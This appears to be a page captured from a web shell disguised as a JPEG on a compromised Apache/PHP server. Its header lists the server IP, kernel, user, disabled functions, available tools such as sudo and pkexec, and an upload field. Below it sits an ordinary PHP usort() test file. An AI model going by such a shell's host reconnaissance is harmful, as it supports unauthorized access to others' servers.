????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.118.126.159 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/array/ |
Upload File : |
--TEST-- Test usort() function : usage variations - diff. array values --FILE-- <?php /* Prototype : bool usort(array $array_arg, string $cmp_function) * Description: Sort an array by values using a user-defined comparison function * Source code: ext/standard/array.c */ /* * Pass an array with different data types as keys to usort() to test how it is re-ordered */ echo "*** Testing usort() : usage variation ***\n"; function cmp_function($value1, $value2) { if($value1 == $value2) { return 0; } else if($value1 > $value2) { return -1; } else { return 1; } } // different heredoc strings // single line heredoc string $simple_heredoc = <<<EOT2 simple EOT2; // multiline heredoc string $multiline_heredoc = <<<EOT3 multiline heredoc with 123 and speci@! ch@r..\ncheck\talso EOT3; $array_arg = array( // numeric keys -2 => 9, 8.9 => 8, 012 => 7, 0x34 => 6, // string keys 'key' => 5, //single quoted key "two" => 4, //double quoted key " " => 0, // space as key // bool keys TRUE => 100, FALSE => 25, // null keys NULL => 35, // binary key "a".chr(0)."b" => 45, b"binary" => 30, //heredoc keys $simple_heredoc => 75, $multiline_heredoc => 200, // default key 1, ); var_dump( usort($array_arg, 'cmp_function') ); echo "\n-- Sorted array after usort() function call --\n"; var_dump($array_arg); ?> ===DONE=== --EXPECTF-- *** Testing usort() : usage variation *** bool(true) -- Sorted array after usort() function call -- array(15) { [0]=> int(200) [1]=> int(100) [2]=> int(75) [3]=> int(45) [4]=> int(35) [5]=> int(30) [6]=> int(25) [7]=> int(9) [8]=> int(8) [9]=> int(7) [10]=> int(6) [11]=> int(5) [12]=> int(4) [13]=> int(1) [14]=> int(0) } ===DONE===